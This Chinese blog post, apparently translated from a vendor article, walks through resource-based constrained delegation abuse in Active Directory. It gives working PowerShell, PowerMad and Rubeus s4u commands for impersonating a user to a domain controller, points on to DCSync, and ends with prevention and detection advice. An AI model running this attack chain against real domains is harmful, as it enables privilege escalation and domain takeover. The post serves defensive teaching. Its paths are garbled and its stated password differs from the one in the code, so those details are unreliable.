当前位置:网站首页 > 更多 > 玩电脑 > 正文

[玩转系统] 基于资源的受限委派滥用

作者:精品下载站 日期:2024-12-14 06:16:36 浏览:14 分类:玩电脑

基于资源的受限委派滥用


对于大多数 IT 管理员来说,委派是令人困惑和复杂的。 Active Directory 提供无约束委派、约束委派和基于资源的约束委派 (RBCD)。

这篇博文回顾了为什么基于资源的受限委派比其前身更安全,以及它如何仍然被滥用并用作横向移动和特权升级的手段。具体来说,我们将介绍一个场景,其中攻击者滥用基于资源的约束委派和一些配置不当的 Active Directory 权限在 Active Directory 中创建计算机帐户。

最后,我们提供了攻击步骤的代码以及常见问题解答,其中提供了有关三种类型的 Kerberos 委派的更多信息。

RBCD 基础知识

从 Windows Server 2012 开始,可以在资源或计算机帐户本身上配置基于资源的约束委派。这与其他类型的委派不同,其他类型的委派是在访问资源的帐户上配置的。基于资源的委派由 msDS-AllowedToActOnBehalfOfOtherIdentity 属性控制;它存储可以访问资源的对象的安全描述符。

为什么这个委托模型比它的前身更好?微软是这样说的:“通过支持跨域的约束委派,可以将服务配置为使用约束委派对其他域中的服务器进行身份验证,而不是使用非约束委派。这通过使用现有的 Kerberos 基础设施为跨域服务解决方案提供身份验证支持,而无需信任前端服务来委托给任何服务。”

攻击概述

要执行基于资源的约束委派攻击,对手必须:

  • 使用他们可以控制的计算机帐户填充 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
  • 了解他们想要访问的对象上的 SPN 集

由于默认情况下所有用户都可以创建 10 个计算机帐户 (MachineAccountQuota),因此这些任务很容易从非特权帐户完成。由于 Active Directory 权限配置不当,攻击者所需的唯一权限是能够在目标计算机上写入属性。

为了实现这一目标并展示快速的概念证明,我们将在以下场景中使用以下工具:

  1. 由于 Active Directory 权限配置不当,我们已经危害了 Windows 10 主机上的一个非特权帐户,该帐户有权在域控制器上写入 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
  2. 我们将使用 PowerMad 创建一个新的计算机帐户(由于默认的 MachineAccountQuota 值而允许)。
  3. 我们将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性设置为包含我们创建的计算机帐户的安全描述符。
  4. 我们利用 Rubeus 来滥用基于资源的受限委托。

步骤 1. 检查受感染帐户的访问权限。

首先,让我们看一下攻击者获得访问权限的帐户。 SBPMLABnonadmin 只是一个常规域用户帐户,在其计算机上具有本地管理员权限。下面的屏幕截图显示我们无法使用当前权限 UNC 到 SBPMLAB-DC2 C$管理共享:

[玩转系统] 基于资源的受限委派滥用

使用枚举 Active Directory 中的权限和对象的工具,我们能够发现我们对目标域控制器拥有一些权限。下面的 PowerShell 脚本将识别特定用户 SID 具有完全控制、写入、修改权限或写入属性的任何位置:目标计算机上的 msDS-AllowedToActOnBehalfOfOtherIdentity

[玩转系统] 基于资源的受限委派滥用

步骤 2. 创建一个新的计算机帐户。

现在我们知道我们有能力修改需要填充的属性,我们需要一个我们控制的计算机帐户来执行更新。由于 MachineAccountQuota 值保留为默认值,我们可以使用 PowerMad 创建一个计算机帐户 RBCDMachine,密码为 ThisIsATest

[玩转系统] 基于资源的受限委派滥用

步骤 3. 允许该帐户代表其他身份进行操作。

现在,我们需要设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性以包含我们创建的计算机帐户的安全描述符,并填充我们拥有权限的 DC 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性:

[玩转系统] 基于资源的受限委派滥用

现在我们只需要获取 RBCDMachine 帐户的“ThisIsATest”密码的哈希值:

[玩转系统] 基于资源的受限委派滥用

RBCDMachine 帐户的密码哈希

步骤4.利用Rubeus滥用RBCD。

现在我们已经拥有了使用 Rubeus 滥用基于资源的约束委派所需的一切。回顾一下我们迄今为止收集到的内容:

  • 我们想要模拟的用户
  • 我们创建的 RBCDMachine$帐户,填充在目标 DC msDS-AllowedToActOnBehalfOfOtherIdentity 属性中
  • RBCDMachine$帐户密码的哈希值 (0DE1580972A99A216CED8B058300033F)
  • 我们想要访问目标域控制器的 servicePrincipalName

使用此信息,我们可以在 Rubeus 中运行以下命令将票据导入内存:

s4u /用户:RBCDMachine$/rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

[玩转系统] 基于资源的受限委派滥用

我们可以通过klist确认服务票据导入成功。现在我们可以成功导航到域控制器上的 SBPMLAB-DCC$管理共享并列出其内容:

[玩转系统] 基于资源的受限委派滥用

进一步的步骤

获得对目标域控制器上的管理共享的访问权限后,我们可以采取措施确保持久性,甚至进一步提升我们的权限,例如破坏 NTDS.dit 文件。

另一种选择是通过更改 Rubeus 命令中的 msdsspn 参数来请求访问 LDAP 服务,并利用该参数进行 DCSync 攻击并接管 krbtgt 帐户。

以下是 LDAP 服务的缓存票证:

[玩转系统] 基于资源的受限委派滥用

以下是我们在获得 LDAP 访问权限后如何执行 DCSync:

[玩转系统] 基于资源的受限委派滥用

攻击检测和预防

让我们快速回顾一下我们所采取的步骤,以揭示一些防止此类攻击的策略:

  1. 我们接管了一个能够修改域控制器的“msDS-AllowedToActOnBehalfOfOtherIdentity”属性的帐户。
  2. 我们利用默认的 MachineAccountQuota 设置创建了一个计算机帐户。
  3. 我们使用我们创建的计算机帐户填充该属性。
  4. 我们使用 Rubeus 请求 DC 上 LDAP 服务的票证。
  5. 我们能够执行 DCSync 来接管 krbtgt 帐户。

预防

如何防止这些事情在您的环境中发生?

  • 了解并锁定 Active Directory 权限。 了解谁有权访问 Active Directory 对于保护 Active Directory 至关重要。能够修改计算机对象的属性只是攻击者用来利用您的环境的一种途径。使用 BloodHound 等工具修改组成员资格或重置环境中其他用户的密码的能力同样具有破坏性,并且更容易被利用。查看 Netwrix Active Directory 安全解决方案,了解它如何帮助您确保 AD 的安全配置、识别过多的访问权限和影子管理员,以及实时检测和防止复杂的攻击。
  • 确保不应委派的敏感帐户被标记为此类。 将用户放入受保护的用户组或选中“帐户敏感且无法委派”选项将阻止资源受限的委派攻击。

[玩转系统] 基于资源的受限委派滥用

检测

要检测资源受限的委派攻击,您可以执行以下操作:

  • 监视非管理员用户创建的计算机帐户。当非管理员用户创建计算机帐户时,属性“mS-DS-CreatorSID”将被填充,因此您可以使用此命令来识别这些帐户:
Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}

代码

  • 确定我们拥有的帐户 ($myaccount) 在目标计算机 ($target) 上的权限:
#Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid

#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
  • 检查域的 MachineAccountQuota 设置并使用 PowerMad 创建计算机帐户:
#Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
  • 使用我们创建的新计算机更新 msDS-AllowedToActOnBehalfOfOtherIdentity 属性:
#Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
  • 获取我们为计算机帐户设置的密码的哈希值:
#Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
  • 使用 Rubeus 执行 RBCD 滥用:
C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

常问问题

什么是 Kerberos 委托?

Kerberos 委派的实际用途是使应用程序或服务能够代表另一个用户访问不同服务器上托管的资源。

无约束委派如何运作?

无约束的 Kerberos 委派使应用程序或服务能够模拟目标用户以访问任何其他选定的服务。

受限委派如何运作?

约束委派允许您配置帐户可以委派给哪些服务。 S4U2proxy 是 Kerberos 约束委派扩展。

基于资源的受限委派如何工作?

托管服务的资源指定哪些对象可以委托给它,而不是指定哪个对象可以委托给哪个服务。

您需要 登录账户 后才能发表评论

取消回复欢迎 发表评论:

关灯